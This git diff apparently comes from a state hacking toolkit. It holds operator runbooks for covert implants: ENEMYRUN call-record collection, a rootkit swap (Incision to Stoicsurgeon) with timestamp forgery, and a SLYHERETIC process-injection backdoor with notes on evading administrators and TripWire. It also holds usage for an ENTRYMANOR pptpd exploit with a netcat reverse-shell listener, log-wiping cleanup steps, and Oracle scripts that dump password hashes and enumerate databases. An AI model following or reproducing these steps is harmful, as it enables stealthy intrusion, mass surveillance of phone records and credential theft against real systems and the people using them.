IMPLANT_HIDDEN_DIRECTORY/erf/adm1 + +## copy adm1 for each aux_* directory you see +## e.g. if you see aux_1 aux_2 aux_3 then: +## cp adm1 adm2 +## cp adm1 adm3 + +## encrypted ER configuration file + +-put /current/down/er_PROJECTNAME/er_conf_fwd.enc IMPLANT_HIDDEN_DIRECTORY/erf/ecf + +## +## start ENEMYRUN +## may not work w/ PATH=. +## CRYPTKEY must be the same as in the ER configuration file +## + +-cd IMPLANT_HIDDEN_DIRECTORY/erf + +L='-I ecf -k CRYPTKEY'; export L; ./nscd + +#ps -ef | grep ENEMYRUN_PROCESS_NAME +ps -ef | grep nscd + +## record ER process pid(s) in opnotes +## DDMonYY +## forward ENEMYRUN_PROCESS_NAME +## pid: ER_PID + +ps -ef | grep ENEMYRUN_PID + +## the argfile(s) should no longer be in the erb directory after ER is running +## if the parser has started, these files should grow +## logs IMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/Log.* +## hits IMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/.* + +-ls -R erf + +-ls -R IMPLANT_HIDDEN_DIRECTORY/erf + +## +## once all required ER instances are running, you're done +## + +-cd /tmp +-burnBURN + + +## +## decrypt parsed CDRs locally +## + +## single aux* directory + +cd /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/erb + ## and/or +cd /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/final + +for i in * ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i`.txt -k CRYPTKEY -d -c -b ; done + +## multiple aux* directories + +mkdir /current/down/coll +cp /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/er*/aux*/output/final/* /current/down/coll +cd /current/down/coll + +for i in * ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i`.txt -k CRYPTKEY -d -c -b ; done + + +## +## copy decrypted data to media / remove ER tar from /current/down +## + +ls -la *.txt +mz +cp *.txt /mnt/zip*/PROJECTNAME +ls -la /mnt/zip*/PROJECTNAME +uz +rm /current/down/er_*.tar + + +############ +## DEPLOY ## +############ + +## +## edit ER configuration files +## + +## in a local window + +cd /current/down/er_PROJECTNAME + +## find ER configs + +ls -la er_conf*.txt + +## should not have to edit the forward config, er_conf_fwd*.txt +## edit the backwards config, er_conf_bwd*.txt + +vi er_conf_bwd.txt + +## make sure you've made date range changes, or any other changes, +## to the plaintext ER configuration files + + +## +## encrypt required ER files +## + +## encrypt the ER backwards configuration file + +cd /current/down/er_PROJECTNAME + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_bwd.txt -o /current/down/er_PROJECTNAME/er_conf_bwd.enc -k CRYPTKEY -b + +## encrypt the ER forwards configuration file + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_fwd.txt -o /current/down/er_PROJECTNAME/er_conf_fwd.enc -k CRYPTKEY -b + +file /current/down/er_PROJECTNAME/er_conf_*.enc + +## encrypt CURSEHAPPY definition file if using CURSEHAPPY + +for i in /current/up/cursedefs/*.def ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o /current/up/cursedefs/`basename $i .def`.enc -k CRYPTKEY -b ; done + +ls -la +file /current/up/cursedefs/*.enc + +## +## put up directories and tools only if deploying ENEMYRUN +## this means only put up these files/tools if they are not on the target yet +## if you have the least doubt about what you're doing, find someone who knows +## + +## --------------- ## +## BACKWARDS FILES ## +## --------------- ## + +-put /current/down/er_PROJECTNAME/erb_dirs.tar IMPLANT_HIDDEN_DIRECTORY/erb.tar +tar xvf erb.tar + +-cd IMPLANT_HIDDEN_DIRECTORY/erb + +-ls -R + +## put up applicable parser(s) +-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond +-put /current/up/cursehappy4 IMPLANT_HIDDEN_DIRECTORY/erb/crond +-put /current/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond +-put /current/up/cursemagic.v1.0.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond +-put /current/up/cursegismo.v1.1.0.4.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond + +## encrypted CURSEHAPPY definition file + +-put /current/up/cursedefs/PROJECTNAME.enc IMPLANT_HIDDEN_DIRECTORY/erb/cd + +## put up enemyrun + +-put /current/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/nscd + +## if everything looks good remove tar + +-rm IMPLANT_HIDDEN_DIRECTORY/erb.tar + + +## -------------- ## +## FORWARDS FILES ## +## -------------- ## + +-put /current/down/er_PROJECTNAME/erf_dirs.tar IMPLANT_HIDDEN_DIRECTORY/erf.tar +tar xvf erf.tar + +-cd IMPLANT_HIDDEN_DIRECTORY/erf + +-ls -R + +## put up applicable parser(s) +-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond +-put /current/up/cursehappy4 IMPLANT_HIDDEN_DIRECTORY/erf/crond +-put /current/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond +-put /current/up/cursemagic.v1.0.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond +-put /current/up/cursegismo.v1.1.0.4.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond + +## encrypted CURSEHAPPY definition file + +-put /current/up/cursedefs/PROJECTNAME.enc IMPLANT_HIDDEN_DIRECTORY/erf/cd + +## put up enemyrun + +-put /current/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/nscd + +## if everything looks good remove tar + +-rm IMPLANT_HIDDEN_DIRECTORY/erf.tar + +## +## to continue the setup process go to the COLLECT section item titled: +## "edit ER configuration files" +## + + +### +### END File user.tool.enemyrun.COMMON +### (see also ../etc/user.tool.enemyrun.COMMON) + +### +### BEGIN File user.tool.linux_remove_in_install_ss.COMMON (see also ../etc/user.tool.linux_remove_in_install_ss.COMMON) +### + +### Upgrading a Linux Incision to a Stoicsurgeon + +### Step 1: Trigger Incision or -elevate + +### Step 2: Save timestamps of affected files/directories +stat -t /dev /sbin /sbin/init /dev/ttyi* >L:/current/down/beforetimes + +### Step 3: Upload dittlelight +-put /current/up/hidelite.linux h + +### Step 4: Need a nopen callback window to use dittlelight (will not +### work on any pids with parents that aren't 1, and callback +### windows do that) +-nrtun PORT +-call REDIR_IP:PORT + +### Step 5: In the callback window, get your PID (and make sure the +### PPID is 1 +-pid + +### Step 6: Unhide your callback window +./h -u -p CALLBACK_PID + +### Step 7: Make sure you are unhidden by comparing process listings +### and directory listings, and there should be differences +ps -ef | grep sendmail +-lt /dev/ttyi* + +### Step 8: In unhidden window, trigger Incision self-destruct +touch /dev/ttyia3 + +### Step 9: Repeat step 7, except now instead of being different, +### the two windows should now be the same because Incision +### is gone, so everything is unhidden +ps -ef | grep sendmail +-lt /dev/ttyi* + +### Step 10: Remove file we touched/"created" +-rm /dev/ttyia3 + +### Step 11: At this point, follow the "user.tool.stoicsurgeon" +### script in /current/etc to install Stoicsurgeon + +### Step 12: Once Stoicsurgeon is installed, restore timestamps +### for the files/dirs affected by the Incision uninstall +### These are saved in "/current/down/beforetimes" from Step 2 +### NOTE: If "-ctrl" does not work, upload and run the standalone +### "Ctrl" program, computing the SEED variable as described +### in the "user.tool.stoicsurgeon" script if needed, or +### you can trigger and not need the SEED +-ctrl -s /sbin/init ATIME 0 MTIME 0 CTIME 0 +-ctrl -s /sbin ATIME 0 MTIME 0 CTIME 0 +-ctrl -s /dev ATIME 0 MTIME 0 CTIME 0 + +### Step 13: Confirm timestamps are restored +### This is a bit tricky to see that everything is right, so +### confirm that: +### 1. everything for /sbin should match (i.e. no diff line) +### 2. there should be no /dev/ttyia* files in aftertimes +### 3. /dev may not match exactly if there were changes, but +### /dev can change a lot so not a huge deal +### 4. the timestamps for /sbin/init should be the same in +### beforetimes and aftertimes +### 5. the inode field (8th field in stat output) from +### /dev/ttyia1 in beforetimes should match inode field +### from /sbin/init in aftertimes +stat -t /dev /sbin /sbin/init /dev/ttyi* >L:/current/down/aftertimes +-lsh diff /current/down/beforetimes /current/down/aftertimes + +### All done!$###$ + + +### +### END File user.tool.linux_remove_in_install_ss.COMMON +### (see also ../etc/user.tool.linux_remove_in_install_ss.COMMON) + +### +### BEGIN File user.tool.slyheretic.COMMON (see also ../etc/user.tool.slyheretic.COMMON) +### + +######################################################### +# SLYHERETIC v1.0.5.0 +######################################################### +### SLYHERETIC is a light-weight implant for AIX 5.1 and AIX 5.2 Uses Hide-in-Plain-Sight techniques to provide stealth. +### SlyHeretic_Persistent: This installer injects a backdoor into a system process and persists across system reboots. +### SlyHeretic_OneShot: This installer injects a backdoor into a system process and does not persist across system reboots. +### All SLYHERETIC binaries delete themselves upon execution. + +**IMPORTANT: SINCE SLYHERETIC Uses Hide-in-Plain-Sight techniques to provide stealth ensure that you get off of box if known administrators are on the box.** +**IMPORTANT: Do not install SLYHERETIC on systems where TripWire is installed. *********************************** + + +######################################################### Persistent Install###################################################################### +## To install the Persistent version of SLYHERETIC perform the following steps. + +## Upload the SlyHeretic_Persistent binary to the target with the name 'date' on a filesystem that's not mounted noexec. +-put /current/up/SlyHeretic_Persistent date + +### Execute the installer with the following command: +PATH=. date +## Check the installer error code by looking at the 'date' string reported. The installer will report a 'date' string with the +## seconds field as the error code. If the seconds field reports '00', the installation was successful. + +If you get an error code in the seconds field start the troubleshooting. The most common error that you might receive is the '09' error. +This error means that no viable injection process is available at that particuliar time installation time. SLYHERETIC checks the process state prior to +injecting so it may determine that no process are good candiates for injection. Wait a minute and try the install again. If that does not work contact +tool champion or developer. + +########################################################## OneShot Install########################################################################## +## Upload the SlyHeretic_OneShot binary to the target with the name 'date' on a filesystem that's not mounted noexec. + +-put /current/up/SlyHeretic_OneShot date + +### Execute the installer with the following command: +PATH=. date +## Check the installer error code by looking at the 'date' string reported. The installer will report a 'date' string with the +## seconds field as the error code. If the seconds field reports '00', the installation was successful. + +If you get an error code in the seconds field start the troubleshooting. The most common error that you might receive is the '09' error. +This error means that no viable injection process is available at that particuliar time installation time. SLYHERETIC checks the process state prior to +injecting so it may determine that no process are good candiates for injection. Wait a minute and try the install again. If that does not work contact +tool champion or developer. + + +#############################################################Uninstalling SLYHERETIC###################################################################### +## Upload the SlyHeretic_Uninstaller binary to the target with the name 'date' on a filesystem that's not mounted noexec. + +-put /current/up/SlyHeretic_Uninstaller date + +### Execute the installer with the following command: +PATH=. date + +The Uninstaller will not provide any out stating that the uninstall was successful. +To verify uninstall you can attempt to trigger via tipoff or -irtun. + + +#########################################################SLYHERETIC REINSTALL############################################################################ +SLYHERETIC can be reinstalled on a system but only after an Uninstall has taken place. A reinstall is simply the following steps: +Uninstall SLYHERETIC +Install SLYHERETIC + + +######################################################### TRIGGERING SLYHERETIC ######################################################################### +## Trigger SLYHERETIC and upload NOPEN with redirection. + +-irtun TARGET_IP RANDOM_PORT -ueY5 ********SLYHERETIC uses DewDrop 3.X trigger********************************** + + + + +### +### END File user.tool.slyheretic.COMMON +### (see also ../etc/user.tool.slyheretic.COMMON) + +### +### BEGIN File user.tool.entrymanor.COMMON (see also ../etc/user.tool.entrymanor.COMMON) +### + + +################################################### +### ENTRYMANOR entrymanor binary: xp_pptpd +################################################### +2008-01-15 08:15:21 EST + +Usage: ./xp_pptpd -i -p -l -r + +-i target +-p port +-l local IP +-r local port +-v verify server +-t timeout in seconds +-s stack location +-h help +-d debug + +Check: +./xp_pptpd -i 127.0.0.1 -p 1723 -v + +Then: +nc -vv -l -p 5492 +./xp_pptpd -i 127.0.0.1 -p 1723 -l 555.1.2.22 -r 5492 + + + + +0. will fail on pptpd versions greater than 1.1.4-b3 and 1.1.3-20030409. + + + +1. Determine if the configuration of the target is exploitable by using the -v option. +./xp_pptpd -i 127.0.0.1 -p 1723 -v + + + +2. (In Window 1, type the following command) + +# nc -vv -l -p 5492 +listening on [any] 5492 ... +(after several seconds or minutes) ... + +555.1.2.171: inverse host lookup failed: Unknown host +connect to [555.1.2.22] from (UNKNOWN) [555.1.2.171] 1047 + +(In Window 2, type the following command (use shell if running on linux pitch)) + +# ./xp_pptpd -i 555.1.2.171 -p 1723 -l 555.1.2.22 -r 5492 +Bruteforcing against 555.1.2.171 +interrupt when you get a shell to 555.1.2.22 on port 5492... + +* connecting... [ret=0xbfffff00]..sending done +* connecting... [ret=0xbffffece]..sending done +* connecting... [ret=0xbffffe9c]..sending done +* connecting... [ret=0xbffffe6a]..sending done +* connecting... [ret=0xbffffe38]..sending done +* connecting... [ret=0xbffffe06]..sending done +... +* connecting... [ret=0xbffff82a]..sending done +* connecting... [ret=0xbffff7f8]..sending done +* connecting... [ret=0xbffff7c6]..sending done + +(Hit c when you get a connection back in netcat.) + + +### +### END File user.tool.entrymanor.COMMON +### (see also ../etc/user.tool.entrymanor.COMMON) + + + +#### BAIL + +-cd /tmp/socket-root +-cd .. +-ls +rm -rf /tmp/socket-root +-ls + +#### AT JOB (CAREFUL! These can log.) + +at -l +at -r ATJOB +at -l + +-burn + +#### PITCHIMPAIR-LINUX +#### some.target.ip +#### 1.2.3.4 +#### /tmp/socket-root + diff --git a/Linux/etc/oracle/g1 b/Linux/etc/oracle/g1 new file mode 100644 index 0000000..a781df6 --- /dev/null +++ b/Linux/etc/oracle/g1 @@ -0,0 +1,17 @@ + +ORA_NLS=$ORACLE_HOME/ocommon/nls/admin/data +export ORA_NLS + +PATH=/usr/bin:/usr/ucb:/etc:$ORACLE_HOME/bin:/usr/ccs/bin:/usr/ccs/lib:/usr/local/bin:/usr/sbin +LD_LIBRARY_PATH=$ORACLE_HOME/lib + +export PATH LD_LIBRARY_PATH + +echo ORACLE_BASE = $ORACLE_BASE +echo ORACLE_HOME = $ORACLE_HOME +echo ORACLE_SID = $ORACLE_SID +echo NLS_LANG = $NLS_LANG +echo ORA_NLS = $ORA_NLS + + +sqlplus /nolog < r1.sql diff --git a/Linux/etc/oracle/g2 b/Linux/etc/oracle/g2 new file mode 100644 index 0000000..dec1c8f --- /dev/null +++ b/Linux/etc/oracle/g2 @@ -0,0 +1,16 @@ +ORA_NLS=$ORACLE_HOME/ocommon/nls/admin/data +export ORA_NLS + +PATH=/usr/bin:/usr/ucb:/etc:$ORACLE_HOME/bin:/usr/ccs/bin:/usr/ccs/lib:/usr/local/bin:/usr/sbin +LD_LIBRARY_PATH=$ORACLE_HOME/lib + +export PATH LD_LIBRARY_PATH + +echo ORACLE_BASE = $ORACLE_BASE +echo ORACLE_HOME = $ORACLE_HOME +echo ORACLE_SID = $ORACLE_SID +echo NLS_LANG = $NLS_LANG +echo ORA_NLS = $ORA_NLS + + +sqlplus /nolog < r2.sql diff --git a/Linux/etc/oracle/g4 b/Linux/etc/oracle/g4 new file mode 100644 index 0000000..091fe4f --- /dev/null +++ b/Linux/etc/oracle/g4 @@ -0,0 +1,16 @@ +ORA_NLS=$ORACLE_HOME/ocommon/nls/admin/data +export ORA_NLS + +PATH=/usr/bin:/usr/ucb:/etc:$ORACLE_HOME/bin:/usr/ccs/bin:/usr/ccs/lib:/usr/local/bin:/usr/sbin +LD_LIBRARY_PATH=$ORACLE_HOME/lib + +export PATH LD_LIBRARY_PATH + +echo ORACLE_BASE = $ORACLE_BASE +echo ORACLE_HOME = $ORACLE_HOME +echo ORACLE_SID = $ORACLE_SID +echo NLS_LANG = $NLS_LANG +echo ORA_NLS = $ORA_NLS + + +sqlplus /nolog < r4.sql diff --git a/Linux/etc/oracle/idb.sql b/Linux/etc/oracle/idb.sql new file mode 100644 index 0000000..a52eaba --- /dev/null +++ b/Linux/etc/oracle/idb.sql @@ -0,0 +1,453 @@ +connect / as sysdba +set newpage 0 +set pagesize 9999 +set linesize 1000 +set verify off +set trimspool on +set trimout on +set feedback 6 +set recsep off +set maxdata 60000 +set Numwidth 20 +set longchunk 60000 +set long 9999999 +set termout off +set arraysize 3 + + +set linesize 120 + +prompt . Auditing Report +prompt ----------------------------------------------------------- + +prompt +Prompt +prompt Statement Auditing: +prompt -------------------- + +prompt + +ttitle center 'STATEMENT AUDITING ' skip skip + +select * from DBA_STMT_AUDIT_OPTS; + +Prompt +prompt Privilege Auditing: +prompt -------------------- + +prompt + +ttitle center 'PRIVILEGE AUDITING ' skip skip + +select * from DBA_PRIV_AUDIT_OPTS; + +Prompt +prompt Object Auditing: +prompt ----------------- + +prompt + +ttitle center 'OBJECT AUDITING ' skip skip + +select * from sys.dba_obj_audit_opts +where alt !='-/-' or alt !='-/-' or aud !='-/-' or com !='-/-' or + del !='-/-' or gra !='-/-' or ind !='-/-' or ins !='-/-' or + loc !='-/-' or ren !='-/-' or sel !='-/-' or upd !='-/-' or + ref !='-/-' or exe !='-/-'; + +Prompt +prompt Audit Configuration: +prompt --------------------- + +prompt + +ttitle center 'AUDIT CONFIGURATION ' skip skip + +select * from sm$audit_config; + + +Prompt +prompt Session Audit Records: +prompt ----------------------- + +prompt + +ttitle center 'SESSION AUDIT RECORDS FOR &1 ' skip skip + +select OS_Username, Username, Terminal, + DECODE(Returncode, '0', 'Connected', + '1005', 'FailedNull', + '1017', 'Failed', Returncode), + TO_CHAR(Timestamp, 'DD-MON-YYYY HH24:MI:SS'), + TO_CHAR(Logoff_Time, 'DD-MON-YYYY HH24:MI:SS') +from DBA_AUDIT_SESSION +where TO_CHAR(Timestamp, 'DD-MON-YYYY') like '%&&1%' and rownum < 10; + + + +Prompt +prompt Object Audit Records: +prompt ---------------------- + +prompt + +ttitle center 'OBJECT AUDIT RECORDS FOR &&1 ' skip skip + +select OS_Username, Username, Terminal, + Owner, Obj_Name, Action_Name, + DECODE(Returncode, '0', 'Success', Returncode), + TO_CHAR(Timestamp, 'DD-MON-YYYY HH24:MI:SS') +from DBA_AUDIT_OBJECT +where TO_CHAR(Timestamp, 'DD-MON-YYYY') like '%&&1%' and rownum < 10; + +prompt +prompt . End of Auditing Report +prompt ----------------------------------------------------------- + +Prompt +prompt NOTE: "no rows selected" means that auditing is turned off +prompt +Prompt +ttitle off + + +set linesize 125 + +prompt +prompt Database Users and Passwords: +prompt ------------------------------ + +prompt +ttitle center 'Database Users and Passwords' skip skip + +col spare4 format a64 wrap heading 'ORACLE 11g PASSWORD' +col PASSWORD format a26 wrap +select name, password, spare4 from user$ where password != 'NULL' order by name; + + +set linesize 60 + +Prompt +prompt Partitioned Tables: +prompt ----------------------- + +prompt + +ttitle center 'Partitioned Tables' skip skip + +col OwnTab format a45 wrap heading 'Owner.Table (rows)' +col Partitioned format a11 heading 'Partitioned' +select owner || '.' || table_name || ' (' || num_rows || ')' OwnTab, partitioned +from dba_tables where partitioned='YES' order by owner, table_name; + +set linesize 110 + +Prompt +prompt Partition Names: +prompt ----------------------- + +prompt + +ttitle center 'Partition Names' skip skip +col subpartition_count format 9999999999 heading 'SubPart Count' +col high_value format a45 wrap heading 'HIGH_VALUE' +col OwnTabPart format a45 wrap heading 'Owner.Table-Partition(rows)' +select table_owner || '.' || table_name || '-' || partition_name || '(' || num_rows || ')' ownTabPart, high_value, subpartition_count +from dba_tab_partitions order by table_owner, table_name, partition_name; + + +set linesize 80 + +prompt +prompt Object Counts By User: +prompt ----------------------- + +prompt +ttitle center 'Object Counts by User' skip skip + +col ow format a18 heading 'Owner' +col ta format 999,999 heading 'Tables' +col ind format 999,999 heading 'Indexes' +col sy format 999,999 heading 'Synonyms' +col se format 999,999 heading 'Sequences' +col ve format 999,999 heading 'Views' + +compute sum of ta on report +compute sum of ow on report +compute sum of sy on report +compute sum of se on report +compute sum of ind on report +compute sum of ve on report + +break on report + +set heading on + +select owner ow, + sum(decode(object_type,'TABLE',1,0)) ta , + sum(decode(object_type,'INDEX',1,0)) ind , + sum(decode(object_type,'SYNONYM',1,0)) sy , + sum(decode(object_type,'SEQUENCE',1,0)) se , + sum(decode(object_type,'VIEW',1,0)) ve +from dba_objects +group by owner +order by owner +/ + +ttitle off + +Prompt +prompt End of Report + +col dbl format 999,999 heading 'Database|Links' +col pkg format 999,999 heading 'Packages' +col pkb format 999,999 heading 'Package|Bodies' +col pro format 999,999 heading 'Procedures' +col ve format 999,999 heading 'Views' + +set verify off + +compute sum of dbl on report +compute sum of ow on report +compute sum of pkg on report +compute sum of pkb on report +compute sum of pro on report +compute sum of ve on report +compute sum of clu on report + +break on report + +prompt +prompt PL/SQL Procedure Counts By User: +prompt --------------------------------- + +prompt +ttitle center 'PL/SQL Procedure Counts by User' skip skip + +select owner ow, + sum(decode(object_type,'DATABASE LINK',1,0)) dbl , + sum(decode(object_type,'PACKAGE',1,0)) pkg , + sum(decode(object_type,'PACKAGE BODY',1,0)) pkb , + sum(decode(object_type,'PROCEDURE',1,0)) pro +from dba_objects +group by owner +order by owner +/ + + + + +prompt +prompt Database Usage by User and Tablespace: +prompt --------------------------------------- + +prompt +ttitle center 'Database Usage by User and Tablespace' skip skip + +prompt + +break on owner skip 2 + +col K format 999,999,999 heading 'Size K' +col ow format a24 heading 'Owner' +col ta format a30 heading 'Tablespace' + + +select us.name ow, + ts.name ta, + sum(seg.blocks*ts.blocksize)/1024 K +from sys.ts$ ts, + sys.user$ us, + sys.seg$ seg +where seg.user# = us.user# +and ts.ts# = seg.ts# +group by us.name,ts.name +order by us.name +/ + +Prompt +clear computes + +select owner ow, tablespace_name ta, sum(bytes)/1024 K +from dba_segments +group by owner, tablespace_name +order by owner, tablespace_name +/ + + +prompt + +prompt End of Report + +ttitle off + +clear breaks +clear columns +clear computes + + +prompt +prompt +prompt Users of Interest: +prompt ------------------ + +prompt +ttitle 'Object Counts for Users of Interest' skip skip + +col ow format a18 heading 'Owner' +col ta format 999,999 heading 'Tables' +col ve format 999,999 heading 'Views' + +set heading on + +select owner ow, + sum(decode(object_type,'TABLE',1,0)) ta , + sum(decode(object_type,'VIEW',1,0)) ve +from dba_objects +where owner != 'SYS' AND + owner != 'SYSTEM' AND + owner != 'ANONYMOUS' AND + owner != 'APEX_PUBLIC_USER' AND + owner != 'AURORA$JIS$UTILITY$' AND + owner != 'AURORA$ORB$UNAUTHENTICATED' AND + owner != 'BI' AND + owner != 'CTXSYS' AND + owner != 'DBADMIN' AND + owner != 'DBSNMP' AND + owner != 'DEMO' AND + owner != 'DIP' AND + owner != 'DMSYS' AND + owner != 'DRSYS' AND + owner != 'EXFSYS' AND + owner != 'FLOWS_030000' AND + owner != 'FLOWS_FILES' AND + owner != 'HR' AND + owner != 'IX' AND + owner != 'MDDATA' AND + owner != 'MDSYS' AND + owner != 'MGMT_VIEW' AND + owner != 'MTSSYS' AND + owner != 'ODM' AND + owner != 'ODM_MTR' AND + owner != 'OE' AND + owner != 'OLAPDBA' AND + owner != 'OLAPSVR' AND + owner != 'OLAPSYS' AND + owner != 'ORA_MONITOR' AND + owner != 'ORACLE_OCM' AND + owner != 'ORDPLUGINS' AND + owner != 'ORDSYS' AND + owner != 'OSE$HTTP$ADMIN' AND + owner != 'OUTLN' AND + owner != 'OWBSYS' AND + owner != 'PM' AND + owner != 'PUBLIC' AND + owner != 'QS' AND + owner != 'QS_ADM' AND + owner != 'QS_CB' AND + owner != 'QS_CBADM' AND + owner != 'QS_CS' AND + owner != 'QS_ES' AND + owner != 'QS_OS' AND + owner != 'QS_WS' AND + owner != 'RMAN'AND + owner != 'SCOTT' AND + owner != 'SH' AND + owner != 'SI_INFORMTN_SCHEMA' AND + owner != 'SPATIAL_CSW_ADMIN_USR' AND + owner != 'SPATIAL_WFS_ADMIN_USR' AND + owner != 'SYSMAN' AND + owner != 'TSMSYS' AND + owner != 'WKPROXY' AND + owner != 'WKSYS' AND + owner != 'WK_TEST' AND + owner != 'WMSYS' AND + owner != 'XDB' AND + owner != 'XS$NULL' +group by owner +order by ta +/ + +clear columns + + + +prompt +prompt Database Links: +prompt ---------------- + +prompt + +set linesize 130 +ttitle center 'Database Links' skip skip + +set heading on + +select u.name owner_name, l.* +from link$ l, user$ u +where u.user# = l.owner# +/ + +set linesize 80 +prompt +prompt DB Initialization Parameters: +prompt ------------------------------ + +prompt + +ttitle center "DB Initialization Parameters" skip 2 + +column name format a25 wrapped +column value format a20 wrapped +column description format a33 word_wrapped + + +select name, value, description +from v$parameter +order by name +/ +prompt +prompt DB Datafiles, Controlfiles, and Logfiles: +prompt ----------------------------------------- + +prompt +ttitle center "DB Datafiles, Controlfiles, and Logfiles" skip skip + +column file_type format a10 wrapped +column name format a50 wrapped + +select 'DATA' file_type, name from v$datafile +union +select 'CONTROL' file_type, name from v$controlfile +union +select 'LOG' file_type, member from v$logfile +/ + +set linesize 90 + +prompt +prompt Database Tablespaces and Mappings to Datafiles: +prompt ------------------------------------------------ + +prompt +ttitle center "Database Tablespaces and Mappings to Datafiles" - + skip center "(Sorted by Tablespace)" skip 2 + +column tablespace_name format a25 wrapped +column file_name format a40 wrapped +column bytes format 999,999,999,999 wrapped + + +select tablespace_name, file_name, bytes +from dba_data_files +order by tablespace_name, file_name +/ + +set linesize 80 +set pagesize 55 +set linesize 80 +set arraysize 15 +set maxdata 60000 +set termout on +host ls -alrt $ORACLE_HOME/rdbms/audit/*.aud | tail + diff --git a/Linux/etc/oracle/mkall.sh b/Linux/etc/oracle/mkall.sh new file mode 100755 index 0000000..d44a9be --- /dev/null +++ b/Linux/etc/oracle/mkall.sh @@ -0,0 +1,7 @@ +./mkuser.sh $1 $2 $4 > $1$4_user +./mksch.sh $1 $2 > $1_sch +./mkexp.sh $1$4_user > exp_$1$4 +./mkexp.sh $1_sch > exp_$1_sch +./mktab.sh $1 > r3_$1.sql +./mkg3.sh > g3 +./mkscript.sh $1 $3 $4 $5 > $1_exp_script diff --git a/Linux/etc/oracle/mkdothis.sh b/Linux/etc/oracle/mkdothis.sh new file mode 100755 index 0000000..c60c0ff --- /dev/null +++ b/Linux/etc/oracle/mkdothis.sh @@ -0,0 +1,2 @@ +echo "cd /mnt/zip/$1/$2" +echo "./runme" diff --git a/Linux/etc/oracle/mkexp.sh b/Linux/etc/oracle/mkexp.sh new file mode 100755 index 0000000..3dd3f55 --- /dev/null +++ b/Linux/etc/oracle/mkexp.sh @@ -0,0 +1,15 @@ +echo ORA_NLS=\$ORACLE_HOME/ocommon/nls/admin/data +echo export ORA_NLS +echo " " +echo PATH=/usr/bin:/usr/ucb:/etc:\$ORACLE_HOME/bin:/usr/ccs/bin:/usr/ccs/lib:/usr/local/bin:/usr/sbin +echo LD_LIBRARY_PATH=\$ORACLE_HOME/lib +echo " " +echo export PATH LD_LIBRARY_PATH +echo " " +echo "echo ORACLE_BASE = \$ORACLE_BASE" +echo "echo ORACLE_HOME = \$ORACLE_HOME" +echo "echo ORACLE_SID = \$ORACLE_SID" +echo "echo NLS_LANG = \$NLS_LANG" +echo "echo ORA_NLS = \$ORA_NLS" + +echo exp parfile=$1 diff --git a/Linux/etc/oracle/mkg3.sh b/Linux/etc/oracle/mkg3.sh new file mode 100755 index 0000000..8467f7a --- /dev/null +++ b/Linux/etc/oracle/mkg3.sh @@ -0,0 +1,16 @@ +echo ORA_NLS=\$ORACLE_HOME/ocommon/nls/admin/data +echo export ORA_NLS +echo +echo PATH=/usr/bin:/usr/ucb:/etc:\$ORACLE_HOME/bin:/usr/ccs/bin:/usr/ccs/lib:/usr/local/bin:/usr/sbin +echo LD_LIBRARY_PATH=\$ORACLE_HOME/lib +echo +echo export PATH LD_LIBRARY_PATH +echo +echo echo ORACLE_BASE = \$ORACLE_BASE +echo echo ORACLE_HOME = \$ORACLE_HOME +echo echo ORACLE_SID = \$ORACLE_SID +echo echo NLS_LANG = \$NLS_LANG +echo echo ORA_NLS = \$ORA_NLS +echo +echo +echo sqlplus /nolog \< r3.sql diff --git a/Linux/etc/oracle/mkopfiles.sh b/Linux/etc/oracle/mkopfiles.sh new file mode 100755 index 0000000..5a2f7c8 --- /dev/null +++ b/Linux/etc/oracle/mkopfiles.sh @@ -0,0 +1,25 @@ +#PATH=/usr/bin:/usr/sbin:$PATH +#export PATH + +#Passed to this +#$1 - orasid +#$2 - thismonth (JAN) +#$3 - year (2012) +#$4 - hostname (short) + +cd /current/etc/oracle +if [ ! -d /current/up/oracle ] +then + mkdir /current/up/oracle +fi + +./mkt0sql.sh $1 > ./t0.sql +./mkr1sql.sh $1 $2 $3 $4 > ./r1.sql + +umask 13 +cp t0 g* *.sql mkall.sh mkuser.sh mksch.sh mkexp.sh mktab.sh mkg3.sh mkscript.sh mkr2_schema.sh mkr2sql.sh mkquery.sh /current/up/oracle +rm -f t0.sql r1.sql +umask 0 +umask 22 + +cd /current/down diff --git a/Linux/etc/oracle/mkquery.sh b/Linux/etc/oracle/mkquery.sh new file mode 100755 index 0000000..42371a6 --- /dev/null +++ b/Linux/etc/oracle/mkquery.sh @@ -0,0 +1,24 @@ +echo connect / as sysdba +echo set echo on +echo set pagesize 9999 +echo set verify off +echo set trimspool on +echo set trimout on +echo set feedback on +echo set recsep off +echo set maxdata 60000 +echo set Numwidth 20 +echo set longchunk 60000 +echo set long 9999999 +echo set termout on +echo set arraysize 3 +echo set escape \~ +echo set null "~~~" +echo set heading on +echo set linesize 80 +echo -- Generic query to get list of table names for $1 +echo select table_name from all_tables where owner = upper\(\'$1\'\) order by table_name\; +echo set linesize 1000 +echo spool cust_$1.txt +echo -- Enter custom query here +echo spool off diff --git a/Linux/etc/oracle/mkr1sql.sh b/Linux/etc/oracle/mkr1sql.sh new file mode 100755 index 0000000..1b09bc6 --- /dev/null +++ b/Linux/etc/oracle/mkr1sql.sh 